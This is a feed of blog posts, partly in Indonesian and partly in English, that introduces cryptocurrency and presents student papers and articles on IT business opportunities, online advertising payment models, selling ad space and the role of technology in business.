Cyber

BITCOIN, Mata uang zaman now! Rugi jika tidak mencoba...

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Wed, 28 Feb 2018 14:40:00 +0000

Mata Uang Zaman Millenial

Apa yang dimaksud dengan Cryptocurrency (Mata Uang Digital)?

Cryptocurrency sudah ada sekitar sepuluh tahun lalu dan kini telah menjadi cukup populer, tersebar luas, serta dilingkupi juga atas banyak kontroversi dari perkembangan yang inovatif.
Mengutip dari situs Coinmarketcap.com, saat ini sudah ada 904 jenis mata uang kripto dan yang paling terkenal adalah Bitcoin.

Bitcoin ini pun berhasil mengerek harga mata uang kripto yang lain.
Cryptocurrency adalah mata uang digital di mana transaksinya dapat dilakukan dalam jaringan (online).
Tidak seperti halnya mata uang kertas yang dicetak, cryptocurrency didesain dengan memecahkan soal-soal matematika berdasarkan kriptografi.

Bagaimana Cara Cryptocurrency bekerja?

Satoshi Nakamoto telah berhasil menemukan sebuah sistem yang revolusioner yaitu sistem yang berfungsi untuk memudahkan transaksi uang digital terdesentralisasi.

Sistem uang terdesentralisasi adalah sebuah jaringan yang mampu menghubungkan para penggunanya tanpa kebutuhan perantara atau pihak ketiga atau otoritas pusat seperti perbankan atau pemerintah.
Hanya dengan smartphone berbasis Android atau laptop yang terhubung dengan internet, Anda dapat mengirim dan menerima uang dari manapun dan ke mana pun di seluruh dunia.

Menariknya lagi, hal tersebut dapat dilakukan kapan saja dan di mana saja, tidak bergantung pada hari kerja bank atau hari kerja pemerintah, tidak ada downtime dan transaksi dapat dilakukan dalam hitungan menit.

Menariknya lagi, dengan mata uang digital ini kita tak perlu repot-repot harus pergi ke bank, membawa identitas, kartu atm ataupun buku tabungan. Semua transaksi dilakukan secara online dengan bantuan wallet .
Apa itu wallet? yaa, semacam bank tetapi online...bagaimana cara membuatnya? sangat mudah,kalian cukup mengunjungi situs resmi blockchain, di https://blockchain.info . Setelah berhasil membuat akun kalian akan mendapat sebuah alamat wallet kalian, hal ini bisa kalian lihat di artikel berikutnya.

Artikel selanjutnya : Cara buat akun wallet blockchain dan settingnya

Pekerjaan para Penambang Cryptocurrency?

Pertama dan paling penting adalah semua orang dapat melakukan cryptocurrency mining atau menambang mata uang digital. Mereka yang melakukan ini disebut sebagai miner atau penambang.

Para penambang dibutuhkan karena memang secara alami dalam sistem jaringan terdesentralisasi ini tidak memiliki otoritas pusat untuk melakukan pembagian tugas.

Selain itu, cryptocurrency membutuhkan sebuah sistem untuk mencegah setiap bentuk perbuatan curang atau penyalahgunaan jaringan.
Sebagai contoh, seseorang mungkin saja menciptakan ribuan jaringan mandiri (peers) dan menyebarkan transaksi yang palsu, maka hal tersebut tentu dapat merusak sistem sehingga merugikan orang banyak.

Oleh karena itu, para penambang dibuat seolah-olah bekerja sama dengan jalan mengkonfirmasi dan memverifikasi setiap catatan dan transaksi yang terjadi pada sistem.

Dengan demikian, apabila ada yang memalsukan data transaksi atau berbuat curang, sistem dapat mengetahui dan memberikan hukuman secara langsung, tepat dan akurat sesuai dengan logika-logika matematika yang ada pada sistem tersebut.

Baca selanjutnya : Cara mining agar cepat untung

Bagaimana Menentukan Harga dari Sebuah Cryptocurrency?

Harga sebuah cryptocurrency sangat bergantung kepada mekanisme pasar.

Pasar cryptocurrency adalah pasar yang memiliki tingkat perubahan (volatilitas) dan fluktuasi yang sangat cepat berubah dan ekstrem, bahkan dalam waktu beberapa jam saja sebuah cryptocurrency dapat mencapai kenaikan harga sampai dengan 1000%.

Harga dari setiap mata uang digital tersebut sama seperti produk-produk pada umumnya, yaitu tergantung kepada permintaan dan penawaran.
Jika banyak orang melakukan permintaan terhadap suatu mata uang tertentu sedangkan penawarnya tidak begitu banyak, maka nilainya akan meningkat.

KARYA ILMIAH PELUANG BISNIS - Technopreneurship

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Fri, 24 Feb 2017 04:32:00 +0000

KARYA ILMIAH PELUANG BISNIS

TECHNOPRENEURSHIP

Disusun oleh :
Tri Evendi
16.11.0247
S1 Informatics 04

UNIVERSITAS AMIKOM YOGYAKARTA

2017

Abstrak

Technopreneurship merupakan sebuah istilah wirausaha yang dikhususkan bagi wirausahawan yang bergerak di bidang teknologi informasi. Bill Gates (Microsoft), Steve Jobs (Apple), Sergey Brin & Larry Page (Google), Mark Zuckenberg (Facebook), Jack Dorsey (Twitter), serta Kevin Systorm (Instagram) ialah beberapa contoh wirausahawan yang bergerak di dunia teknologi informasi.

Pendahuluan

Latar Belakang

Teknologi Informasi merupakan salah satu bidang yang sangat menjanjikan, mulai dari Blogging, online shop, bermain di forum, online writer, dan sebagainya menjadi kegiatan yang bisa menghasilkan uang. Peluang untuk sukses di bidang ini bisa dibilang sangat besar, bisa dibilang sangat kecil. Tergantung dimana Anda berusaha, dan seberapa keras usaha Anda.
Wirausaha dibidang IT punya peluang yang cukup besar, asal tentunya dikelola dengan baik dan dengan perencanaan yang baik pula. Salah satu hal yang membuat seseorang maju mundur saat menentukan akan berwirausaha (self -employment, freelance) atau tidak adalah kekhawatiran soal apakah berwirausaha mampu menopang kebutuhan hidup sehari-hari dan apakah akan berkesinambungan atau tidak? Ini alasan yang sangat-sangat manusiawi dan perlu menjadi pedoman awal.
Banyak yang bilang, kita harus mau bekerja keras untuk bisa hidup berkecukupan meski buat saya pribadi, bekerja keras saja tidak cukup. Baiknya dilengkapi dengan bekerja cerdas, bekerja beberapa hari untuk menutup biaya sebulan. Begitu banyak peluang bekerja di Bidang IT menyebabakan banyak orang berlomba-lomba menjadi seorang yang ahli di bidang IT. Adapun peluang bekerja sebagai seorang wirausahawan di Teknologi Informasi adalah Peluang kerja di Bidang IT tidak terbatas sebab hampir semua sektor kehidupan telah menggunakan komputerisasi, Masih sedikit orang yg menguasai IT dengan baik, perkembangan Teknologi terus berkembang membutuhkan seseorang yang ahli di Bidang IT.

Kajian Teori

JOSEPH C. SCHUMPETER
Wirausaha adalah orang yang mampu menghancurkan keseimbangan pasar dan kemudian membentuk keseimbangan pasar yang baru dan mengambil keuntungan-keuntungan atas perubahan-perubahan tersebut

RAYMOND W.Y. KAO
Wirausaha adalah orang yang mampu menciptakan dan merancang suatu gagasan menjadi realita

RICHARD CANTILLON
Wirausaha adalah seseorang yang mampu memindahkan atau mengkonversikan sumber-sumber daya ekonomis dari tingkat produktivitas rendah ketingkat produktivitas yang lebih tinggi

Pembahasan

Sebelum kita ke IT, sebaiknya kita tau dulu, IT itu apa ? menurut wikipedia, Teknologi Informasi (TI), atau dalam bahasa Inggris dikenal dengan istilah Information technology (IT) adalah istilah umum untuk teknologi apa pun yang membantu manusia dalam membuat, mengubah, menyimpan, mengomunikasikan dan/atau menyebarkan informasi. Dalam bidang IT, kita tidak mesti jadi karyawan, pegawai, tapi kita juga bisa mengembangkan keahlian kita seperti menjadi seoarang IT Entrepreneur yaitu Wirausaha dalam bidang IT, itu merupakan sesuatu yang peluang bisnis yang menarik.
Software Engineer dan Developer

Terjun menjadi ahli software engineer dan juga pengembang aplikasi merupakan jenis pekerjaan bidang IT yang paling diinginkan oleh para angkatan kerja yang punya keahlian pemrograman teknologi. Bidang ini menjadi salah satu yang paling dibutuhkan oleh perusahaan atau industri teknologi khususnya orang-orang yang memahami bahasa pemrograman Java, developer mobile, dan NET developer. Peluang penghasilan yang bisa diperoleh mencapai $88.000 atau sekitar 1 Milyar rupiah lebih
Project Manager
Project Manager adalah profesi yang bertanggung jawab terhadap perencanaan, pelaksanaan, dan penyelesaian project. Tahun lalu, Manajer Proyek di industri IT menjadi salah satu profesi yang paling banyak dibutuhkan, baik dalam industri teknologi maupun bidang industri lainnya. Menurut situs Indeed.com, profesi ini dapat menghasilkan pendapatan rata-rata $91.000, atau sekitar hampir 1,1 Milyar rupiah.
Bisnis dan System Analist
Menurut survey CareerCast.com, profesi yang ahli dalam analisa bisnis dan sistem IT memiliki prospek yang cerah. Dalam industri IT, pekerjaan ini bertugas mengurusi database system, mengembangkan model data, dan termasuk mendesain sistem yang bisa dipakai oleh pengguna akhir (end-user). Peluang salary yang bisa diperoleh oleh seorang System Analist mencapai $78.000, atau hampir 1 milyar rupiah.
WEB Developer
Web Developer adalah profesi yang memiliki keahlian dalam programer untuk membuat situs, aplikasi web, internet, dan sejenisnya. Banyak perusahaan atau individu yang membutuhkan seorang web developer guna membantu dalam membuat dan membangun sebuah website. Jumlah uang yang mampu dihasilkan rata-rata $76.000, atau hampir satu milyar rupiah.
Programer Komputer
Seorang programer menghabiskan waktunya untuk membuat, menulis dan mengembangkan computer code yang akan diaplikasikan untuk software atau peralatan lainnya. Banyak perguruan tinggi yang menyediakan mata kuliah penguasaan program komputer pada tingkatan diploma. Dalam industri IT, programer komputer menjadi salah satu profesi yang paling ngetop bagi pencari kerja. Menurut CareerCast, pekerja pada posisi ini bisa memperoleh penghasilan rata-rata $71.000 atau hampir 900 juta rupiah.

Penutup

Kesimpulan

Itulah data yang diambil dari CareerCast.com pada tahun 2012. Memang tidak sedikit penghasilanya, tapi itu semua kembali ke diri kita, bagaimana supaya kita bisa perpenghasilan seperti itu, walau kita tidak bisa tembus seperti itu, kita masih bisa mengembangkan diri kita, karena seorang IT punya banyak peulang untuk sukses.

Daftar pustaka

https://dannyvinic.wordpress.com/2012/11/06/peluang-usaha-di-bidang-ti-technopreneurship/
http://hellofutureimcoming.blogspot.com/2012/11/peluang-usaha-di-bidang-teknologi.html

KARYA ILMIAH PELUANG BISNIS - Online Advertising

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Tue, 21 Feb 2017 17:06:00 +0000

KARYA ILMIAH PELUANG BISNIS

ONLINE ADVERTISING

Disusun oleh :
Tri Evendi
16.11.0247
S1 Informatics 04

UNIVERSITAS AMIKOM YOGYAKARTA

2017

Abstrak

Iklan online, juga disebut pemasaran online atau iklan internet atau iklan web , adalah metode periklanan dengan menggunakan internet dan World Wide Web dengan tujuan menyampaikan pesan pemasaran (promosi) untuk menarik pelanggan. Internet Advertising, meliputi beberapa teknik seperti iklan kontekstual pada halaman hasil mesin pencari(search engine), iklan banner (banner ads), Rich Media Ads (periklanan dengan melibatkan media interactiv digital seperti audio dan video streaming), iklan jaringan sosial (social network advertising), iklan online berdasarkan klasifikasi (online classified advertising), jaringan periklanan (advertising networks) dan e-mail marketing, serta bahkan e – mail spam. CPM,PPC,CPC dan CPA merupakan bentuk metode kompensasi (pembayaran) yang dapat dimanfaatkan untuk mendapatkan uang dengan berbisnis online seperti Advertising ini. Dengan kemudahan yang ditawarkan pada bisnis online ini, Online Advertising membuka peluang luas bagi pencari uang tanpa biaya sepeserpun. Dengan bermodalkan ketekunan dan keterampilan blog-ing,maka semua orang dapat masuk ke bisnis online ini.

Pendahuluan

Latar Belakang

Dunia bisnis berubah sangat cepat karena teknologi bisnis baru yang muncul. Banyak bisnis telah menggunakan teknologi untuk skala dan mendapatkan posisi tinggi di pasar, usaha kecil telah berhasil mendapatkan keunggulan kompetitif atas usaha mapan menggunakan teknologi. Dampak positif teknologi ini pada bisnis telah mengubah permainan bisnis dan dunia usaha menjadi jauh lebih kompetitif dari sebelumnya, sekarang ini sangat sulit bagi perusahaan untuk mendominasi pasar, karena semua orang belum dapat memiliki akses ke teknologi. Komunikasi dan arus informasi telah berubah, dengan teknologi internet, orang dapat memperoleh akses ke informasi bisnis, dan kita semua tahu bahwa informasi adalah kekuatan. Dengan begitu perusahaan dapat memasarkan produknya tanpa batas di dunia. Di masa lalu, informasi yang digunakan dikunci untuk dimanfaatkan oleh beberapa perusahaan, ini membuat begitu banyak perusahaan yang kaya menjadi semakin dan itu sangat sulit bagi usaha kecil untuk mengiklankan produknya. Hari ini, setiap satu klik di internet dapat mengakses informasi tentang pasar yang ditargetkan, kebutuhan dan keinginan konsumen, dan banyak lagi.

Kajian Teori

Teknologi Informasi merupakan sebuah bentuk umum yang menggambarkan setiap teknologi yag membantu menghasilkan, memanipulasi menyimpan ,mengkomunikasikan dan atau menyampaikan informasi.(William, Sawyer)

Iklan ialah suatu pesan yang dibayar oleh sponsor dan disampaikan melalui beberapa media komunikasi massa.(Russel & Lane (1990))

Iklan merupakan salah satu jenis teknik komunikasi massa dengan membayar ruangan atau waktu untuk menyiarkan informasi tentang barang dan jasa yang ditawarkan oleh si pemasang iklan.(Suhandang (2005))

Menjelaskan periklanan sebagai bentuk penyajian dan promosi tentang ide, barang atau jasa secara non-personal oleh suatu sponsor tertentu yang memerlukan pembayaran.(Kotler (2002))

Pembahasan

Seiring dengan perkembangan teknologi,iklan pemasaran pun ikut berkembang. Perusahaan membutuhkan orang untuk memasarkan produknya di berbagai media. Dan media yang saat ini terbukti efektif adalah internet. Dengan internet berbagai situs blog,sosial media maupun komunikasi menjadi target iklan pemasaran.

Berikut ini ada 12 jenis iklan online:

Direct Advertising

Di mana pemasang iklan dan pemilik media berhubungan langsung dan menandatangani kontrak untuk menampilkan iklan atau inisiatif promosi lainnya.

Media yang sering jadikan iklan jenis Direct Adv adalah di blog. Untuk pemasangan iklan tidak sembarangan, tidak semua yang punya blog hanya blog yang menyediakan layanan iklan dengan terafik rank cukup tinggi, artinya blog tersebut bisa dipercaya penyedia jasa iklan dan cukup populer atau sering banyak dilihat pengunjung.

Self-service Advertising

Pendekatan iklan baru di mana materi iklan, penempatan iklan, tampilan serta teks dikerjakan sendiri oleh pemasang iklan melalui metode proses yang dilakukan sendiri di Online. Contoh: Blogads dan Google AdWords .Biasanya jenis iklan ini kita bisa lihat di berbagai situs penyedia layanan iklan. Salah satu situs terbesar seperti situs mesin pencari yaitu Google dan pempunyai program layanan iklan yaitu Google AdWord. Layanan iklan yang ditawarkan bisa berupa bentuk teks, gambar maupun video. Secara umum iklan jenis ini bisa kita lihat ketika kita mengetikan kalimat pada mesin pencarian Google, itu bisa langsung muncul iklannya ada di barisan sebelah kanan sesuai keyword yang kita ketik tadi.

Ad Networks

Sebuah jaringan (network) iklan yang menghubungkan dan memediasi antara pemasang iklan dengan pemilik situs web. Jaringan iklan seperti ini biasanya menargetkan kampanye-kampanye yang tidak mempunyai target audience khusus, tetapi mengincar sebesar mungkin orang yang melihat iklan dengan biaya sekecil mungkin. Contoh: ValueClickMedia dan Tribal Fusion.

Contextual Advertising

Iklan yang ditargetkan pada content. Iklan tidak ditampilkan secara random, tetapi telah dipilih oleh sistem secara otomatis sesuai dengan content yang relevan dengan iklan tersebut. Contoh: Google AdSense dan Yahoo Publisher Network. Iklan jenis ini hanya ditampilkan pada pengunjung yang benar-benar tertarik dengan produk atau jasa yang di iklankan, jadi hasil promosi anda lebih terarah sesuai target yang dikehendaki. Maksudnya iklan kita akan di respon hanya pengunjung yang tertarik saja, sehingga penempatan iklan juga harus di publish yang strategis seperti pada situs web dengan trafik rank cukup tinggi.sistem pembayaran yaitu apabila ada pengunjung yang meng-klik iklan kita.

Twitter Advertising

Iklan yang berfungsi sebagai tweet dari pemasang iklan, yaitu iklan berbasis keyword yang pendek, yang didistribusikan kepada user yang membaca content yang sesuai dengan keyword yang dipilih. Contoh: Magpie dan Twittad

In-Text Advertising

Sistem in-text advertising secara otomatis menghubungkan kata-kata tertentu di dalam website dengan content iklan yang berhubungan. Contoh: Kontera dan Vibrant in-Text Ad

Sistem in-text advertising secara otomatis menghubungkan kata-kata tertentu di dalam website dengan content iklan yang berhubungan.

Ad Network Optimization

Jasa optimasi iklan ini mengevaluasi dan memilih iklan yang membayar terbanyak untuk ditampilkan dalam halaman web dengan mengevaluasi semua pilihan serta ukuran iklan yang paling baik, dan karakteristik visualnya. Contoh: PubMatic dan YieldBuild

Rep Ad Agencies

Agen periklanan yang mewakili blog-blog serta situs web tertentu dan memediasi penjualan mereka untuk kampanye-kampanye besar yang dilakukan brand-brand besar ataupun agensi iklan besar. Contoh: Federated Media dan Tribal Fusion

Social Advertising

Iklan untuk social media. Tidak seperti iklan tradisional, format iklan ini memanfaatkan dinamika pengaruh sosial seperti pengaruh peer group, word of mouth, viral marketing dan rekomendasi langsung dari teman ke teman. Contoh: VideoEgg dan Meebo.

Video Advertising

Bentuk iklan yang ditargetkan pada content video. Berbagai format tersedia, termasuk iklan dinamis yang bisa tampil sebelum, setelah, ataupun selama tayangnya content video tertentu. Contoh: Voxant dan AdSense for Video.

RSS Advertising

Iklan ini ditampilkan di dalam RSS Feed, yang bisa disesuaikan dengan konteks content RSS feed tersebut atau secara manual ditargetkan pada kebutuhan promosi tertentu. Contoh: Pheedo dan Feedvertising

Sponsorship

Bentuk bantuan dana atau bisa juga dalam bentuk produk/layanan sebagai ganti promosi terhadap suatu brand. Sponsorship online adalah strategi alternatif yang banyak digunakan dan dianggap lebih efektif daripada pemasangan iklan online berbentuk banner.

Dengan meletakkan iklan pada situs blog,sosial media dan komunikasin perusahaan pengiklan telah membuka peluang bagi publisher untuk bekerjasama menyebarkan iklan. Dengan kerjasama ini publisher akan mendapatkan kompensasi atau pembayaran uang yang di sesuaikan dengan metode kompensasi dari perusahaan pengiklan. Metode ini antara lain :

CPC – CostPerClick dan PPC - PayPerClick

CPC dan PPC dalah tipe sederhana dari iklan yang mengacu pada biaya (pembayaran) ke publisher yang terkait dengan setiap klik pada iklan ke halaman target. Contohnya Google Adsense,Adbrite,PopAds,Bidvertiser,Chitika,Infolinks dll.

CPM – CostPerMile

CostPerMile adalah iklan yang akan membayar publisher jika menayangkan ke 1000 penonton. Contohnya Adbuff,Adsterra,PropellerAds dll.

CPI – CostPerImpression

CostPerImpression sama seperti Cpm tetapi perbedaan antara cpm dan cpi adalah bahwa penerbit mendapat pembayaran untuk setiap tayangan yang yang berarti tidak ada batasan dari seribu tayangan menargetkan untuk dibayar. Pembayaran dihitung dari untuk pengunjung unik dari sebuah website.Contohnya Advertising,Casale Media,Tribal Fusion dll.

CPV – CostPerView

CostPerView mudah dan penerbit jenis ramah membayar per iklan kesan karena membayar untuk setiap tayangan yang dihitung dari website. Tidak peduli pengunjung unik atau tidak tetapi Anda akan dibayar sama. Jenis iklan menghitung tayangan lebih banyak daripada jenis lain karena fleksibilitas ini.

CPA – CostPerAction

CostPerAction adalah pengunjung jual produk web mengacu iklan yang tidak sesederhana iklan lainnya. Ini tinggi dalam pembayaran karena pengiklan membayar persentase untuk penerbit untuk bahan yang dijual. Pengunjung mengklik iklan dan kemudian kadang-kadang mereka perlu mendaftar atau kadang-kadang membeli produk dan kemudian penerbit dibayar untuk itu. Murni BPA adalah iklan berbasis aturan yang memungkinkan pengiklan untuk menerapkan aturan sendiri untuk membayar dan kemudian penerbit mendapat pembayaran sesuai dengan aturan iklan.

CPL – CostPerLead

CostPerLead adalah program yang membayar publisher ketika setiap pendaftaran pengguna melalui iklan yang berarti bahwa itu adalah jenis lain dari program referral yang memungkinkan penerbit untuk mendapatkan lebih banyak uang untuk setiap pendaftaran. Ini adalah 100% iklan yang menguntungkan untuk kedua penerbit.

Penutup

Kesimpulan

Sebagaimana kita ketahui, dunia advertising seolah tidak pernah ada akhirnya. Setiap saat perusahaan akan mengiklankan berbagai produk ke berbagai media, untuk itulah mereka membutuhkan blog untuk memasang iklan mereka, baik berupa iklan text (text link) maupun iklan banner (banner ads). Jika kita punya sebuah blog, maka kita bisa menghasilkan uang dengan memasang iklan text atau banner di blog yang bersangkutan.

Daftar pustaka

https://cyber-dw.blogspot.sg/2017/02/make-money-from-advertising.html
https://cyber-dw.blogspot.sg/2017/02/why-is-technology-important-in-business.html
https://cyber-dw.blogspot.sg/2017/02/what-is-cpmppccpc-and-cpa-in-business.html

KARYA ILMIAH PELUANG BISNIS - Design Grafis

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Tue, 21 Feb 2017 16:58:00 +0000

KARYA ILMIAH PELUANG BISNIS

DESIGN GRAFIS

Disusun oleh :
Tri Evendi
16.11.0247
S1 Informatics 04

UNIVERSITAS AMIKOM YOGYAKARTA

2017

Abstrak

Kemajuan teknologi jaman sekarang memang sebuah langkah untuk menuju ke jaman modern dimana semua aktifitas yang kita kerjakan tidak bisa lepas dari komputer atau alat bantu mesin yang membantu kita sehari-hari. Dalam kemajuan ini merupakan suatu kesempatan bisnis yang bisa dimanfaatkan sebagai peluang usaha yang sangat menjanjikan, contohnya adalah dalam bidang desain grafis. Dalam bidang ini dapat mencakup berbagai peluang yaitu desain arsitek rumah, majalah, poster/iklan dan logo. Bisnis itu sangat menjajikan dalam jaman modern sekarang.

Pendahuluan

Latar Belakang

Dalam era modern ini adalah dunia dimana semua orang menginginkan segalanya instan dan mudah dalam menjalani hidup sehari-hari. Begitupula jika anda seorang desainer pasti memerlukan teknologi yang dapat mempermudah para desainer dalam menjalankan bisnis anda.
Membaca peluang bisnis dalam desain atau membaca peluang mendapatkan income , mencari uang dan penghasilan dalam mendesain adalah kunci kesuksesan dalam karir desain Anda. Banyak yang mengira bahwa hanya sekedar kemampuan desain, pengalaman dan kerja keras sudah cukup untuk mencapai hal tersebut.

Kajian Teori

Menurut Suyanto,“Aplikasi dari keterampilan seni dan komunikasi untuk kebutuhan bisnis dan industri”.
Jessica Helfand, “Kombinasi kompleks kata-kata dan gambar, angka-angka dan grafik, foto-foto dan ilustrasi yang membutuhkan pemikiran khusus dari seorang individu yang bisa menggabungkan elemen-eleman ini, sehingga mereka dapat menghasilkan sesuatu yang khusus, sangat berguna, mengejutkan atau subversif atau sesuatu yang mudah diingat”.
Danton Sihombing, “Mempekerjakan berbagai elemen seperti marka, simbol, uraian verbal yang divisualisasikan lewat tipografi dan gambar, baik dengan teknik fotografi ataupun ilustrasi”.

Pembahasan

Membaca peluang bisnis dalam desain atau membaca peluang mendapatkan income , mencari uang dan penghasilan dalam mendesain adalah kunci kesuksesan dalam karir desain Anda. Banyak yang mengira bahwa hanya sekedar kemampuan desain, pengalaman dan kerja keras sudah cukup untuk mencapai hal tersebut.

Cara membaca peluang bisnis desain yang baru :
1. Ekspresi Jiwa
2. Banyak klien di pasar yang luas
3. Membuat Studio Desain dan jalankan bisnis
4. Bekerja secara Freelance atau paruh waktu
5. Fleksibilitas ke arah Desain Website atau Desain Percetakan
6. Kerja dari rumah menjalankan bisnis
7. Kesungguhan dan kedisiplinan

Seorang desainer grafis tidak hanya pandai dalam menggambar, mendesain, atau mengedit saja tetapi juga memerlukan sebuah strategi dalam berbisnis agar menghasilkan laba.
Berikut adalah aplikasi desain grafis strategi kreatif dalam periklanan:

1. Pentingnya Kreatifitas dalam merancang pesan
Kreatifitas adalah kemampuan menyajikan gagasan dalam atau ide baru. Untuk itulah strategi merancang pesan sukses membutuhkan pengembangan strategi kreatif dan eksekusi strategikreatif.

2. Copy Platform
Seperti halnya proses promosi dan pemasaran lainnya , aspek kreatif periklanan dipandu oleh tujuan dan sasaran yang spesifik.

3. Identifikasi Audien Sasaran
Identifikasi Audien Sasaran maksudnya melakukan identifikasi pada pasar yang kita bidik atau melakukan segmentasi pasar.

4. Strategi Generik
Pendekatan Generik ditemukan oleh E.Poter. Pendekatan ini berorientasi pada kunggulan biaya keseluruhan dan diferensiasi.

5. Strategi Preemtive
Strategi Preemitive serupa dengan strategi generik, tetapi menonjolkan superioritasnya.

6. Strategi Unique Selling Proposition
Strategi ini berorientasi pada keunggulan atau kelebihan produk yang tidak memiliki oleh produk saingannya.

7. Strategi Brand Image
Sebuah merek atau produk diproyeksikan pada suatu citra (image) tertentu (melalui periklanan)

8. Strategi Inherent Drama
Strategi Inherent Drama atau strategi karakteristikproduk yang membuat konsumen membeli.

9. Strategi Resonansi
Strategi ini tidak berfokus pada produk dan citra merek, tetapi lebih berfokus pada situasi dan kondisi yang ditemukan yang menguatkan pengalaman hidup konsumen.

10. Strategi Positioning
Gagasan umum strategi positioning adalah menempatkan sebuah produk untuk mendapatkan posisi yang baik dalam benak konsumen. Sepuluh macam strategi tersebut merupakan suatu rencana dalam berbisnis yang sangat mempengaruhi tumbuh kembang bisnis dalam bidang desain grafis yang anda bangun.

Penutup

Kesimpulan

Multimedia sangat kental dengan desain, banyak sekali pelajaran tentang desain grafis yang di berikan oleh guru, pembimbing atau dosen.. Anda bisa mendesain gambar, edit foto, mendesain banner, cover dan lain sebagainya yang nantinya anda jual kepada perusahaan, lembaga atau instansi. Anda juga bisa menerima pesanan pembuatan desain, anda buka saja jasa pembuatan desain di internet.

Daftar pustaka

M. Suyanto, 2004, Everyone Aplikasi Desain Grafis Untuk Periklanan, Andi Yogyakarta
http://www.ahlidesain.com/membaca-peluang-bisnis-desain-tahun-2011.html

Make Money from Advertising

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Tue, 21 Feb 2017 16:31:00 +0000

If you are the owner of a website or blog, you can sell advertising space on your website or blog and make money from doing it.
Peruse websites and you soon will spot banner or text ads that typically run along the side, top or bottom of the web page that belong to businesses other than the site you are visiting. If you are looking to make extra and residual income, then you can make money on Internet advertising by selling this space in your own website or blog.

1. Create an advertising spec sheet. An advertising spec sheet is a list and description of the advertising options you offer online to potential advertisers. You can include banner and text ad options, sizes, the number of words, pricing and length of time the ad stays up.

2. Create an advertising page or listing on your site or blog. Alert visitors to the site that you have advertising for sale by building a page with this information on your site, or by including a way for potential advertisers to contact you. You may want to field potential advertisers to be those that relate to the topic, subject or business represented by your website or blog.

3. Send a contract agreement. Once an advertiser chooses the advertising options they want to use, send an agreement that spells out the details, such as the size of the ad, type of ad, how long the ad will run and the price. Have the advertiser sign and return the agreement to you.

4. Collect the advertising fee. Depending on how your agreement reads with the advertisers, you can collect the entire advertising fee upfront, spread it out on a monthly basis or in another format according to how your agreement reads with the advertiser.

Tips :
Statistics are important
The best feature with phpAdsNew is that it allows you to provide a unique user login for your advertisers to check their banner statistics in real time. This means at any point in time they can learn how many impressions and clicks their banners are receiving from your site.
Before you start searching for advertisers you should be very familiar with the statistics of your site. Do you know how many unique visitors you get? How many hits you get? How many impressions? Do you even know what the differences are between these? Try this stats terminology primer on for size if you don’t.
Most web servers come with a statistics package. Ask your web host if you don’t know. The most common are Awstats (demo) and Webalizer (demo) which often are preinstalled on many hosting packages. Become familiar with these packages so you can accurately assess your site traffic.
Increasing ad revenue
I now had the foundations laid and was serving the ads of my first few advertisers. From the point onwards I went to work attracting more advertisers by directly emailing North American online card stores and other related sites. I kept an excel file to track which websites I had emailed and their responses so I could follow up in a timely manner.
I created new banner positions and started initiatives like a newsletter to generate more revenue. I created monthly packages that combined newsletter advertising and different banner positions and offered them at $500 per quarter. I increased the top prime banner position fee to $50 per month and started offering a tower banner position for $50 as well.
Eventually I had to limit the number of banners I could take in the prime positions to avoid dilution. I had a guarantee in place that offered at least 30,000 impressions per month (averaging 40,000-60,000) to advertisers so that they always received a good equivalent CPM rate. I even had some advertisers purchase the rights to “own” a position for a certain period to make sure no other advertisers banners would be displayed.
Eventually I reached a point where I was averaging $500 per month and peaked at $1000 in one month. Some advertisers came and went quickly but many stayed loyal and in fact still advertise today though I sold the site a long time ago. The niche for the site was so focused that it became the pre-eminent site for Australia in it’s marketplace and consequently some Australian advertisers simply stuck their banners up as a branding exercise. They knew that the exposure from the site would help to align their business as one of the pre-eminent retailers or event organisers for the game. Some advertisers stopped caring about click through stats and kept advertising purely for the branding exposure.

Why is Technology Important in Business?

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Tue, 21 Feb 2017 14:02:00 +0000

The business world is changing very fast because of new emerging business technologies. Many businesses have been using technology to scale out and get a high position in the market, small businesses have managed to gain competitive advantage over well established businesses using technology. This positive impact of technology on business has changed the game of business and the business world is becoming much more competitive than before,now days it is very difficult for a company to dominate a market for long, monopoly is yet to be the term of the past, because everyone can have access to technology. Communication and the flow of information have changed, with internet technology, anyone can gain access to business information, and we all know that information is power.

In the past, information used to be locked and taken advantage of by a few companies, this made so many companies rich and it was so difficult for small businesses to gain competitive advantage over these big companies. Today, any one with internet can access information about targeted markets, consumer needs and wants, and so much more.

The business world is using technology in so many ways, for example, technology is used to simplify communication, it is used to promote and market services and products, it is used to invent new products and services, technology is used for human resource management, it is also being used to understand consumer needs and wants, and so much more.Every business has its own need for technology, but every business aims at gaining a strong position in the market using technology. The effects of technology in the business world are unmeasurable. Starting up a business has become so easy, with simple technological tools like computers, internet and VOIP telephones, any one can start a business from home and serve a global market.

Using Technology to Increase Your Business Productivity.Most everyone can agree that business productivity can be traced to an organization's ability to successfully execute on overall strategy. What else ensures business success? Businesses need engaged and highly productive employees executing on goals that are aligned with the organization's strategic objectives.

And, if execution is the key to a successful business—what are the steps to increasing your business productivity for greater execution on your strategic goals? How do you know your business alignment and people performance are working at optimal levels to maximize business productivity resulting in the best possible results?

Connect teams virtually within the company. Create employee portals and team sites to help people work productively across the organization, no matter what location or team. You will eliminate "corporate silos" that effectively cut off communication because employees can utilize technology to reach out to others working on similar projects or find experts to answer their questions throughout the organization.

Motivate your employees using technology. Based upon the information gathered in an online performance evaluation, managers can compare current skills with those required for advancement or other recognition or reward opportunities that present themselves as the manager tracks progress on employee goals throughout the year. You may also find you need to redirect employees to different departments if you feel their business productivity could increase elsewhere. If there are impediments to better performance, the company should review why it is happening and try to eliminate these through better allocation of resources or additional training.

Monitor business productivity and employee progress on goals. Online business productivity software solutions enable managers to more easily track progress during every phase of goal completion and offer immediate reinforcement or coaching to keep performance and deadlines on track. This process leads to greater business productivity because your organization is staffed with a workforce of people who are continually learning new skills and being challenged to do their very best. When it comes to the people who work for you, alert, motivated, and happy employees will work harder. Encourage your staff by rewarding them for their successes, using both monetary and non-monetary incentives.

Analyze performance - Today's technology provides advanced reporting and business analysis capability to help you gain a deep understanding of business performance, customer preferences, and market trends. And, your executives and business managers can access performance metrics and analytical reports and use this information to work together to set or redesign strategy.

What is CPM,PPC,CPC and CPA in business?

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Tue, 21 Feb 2017 13:45:00 +0000

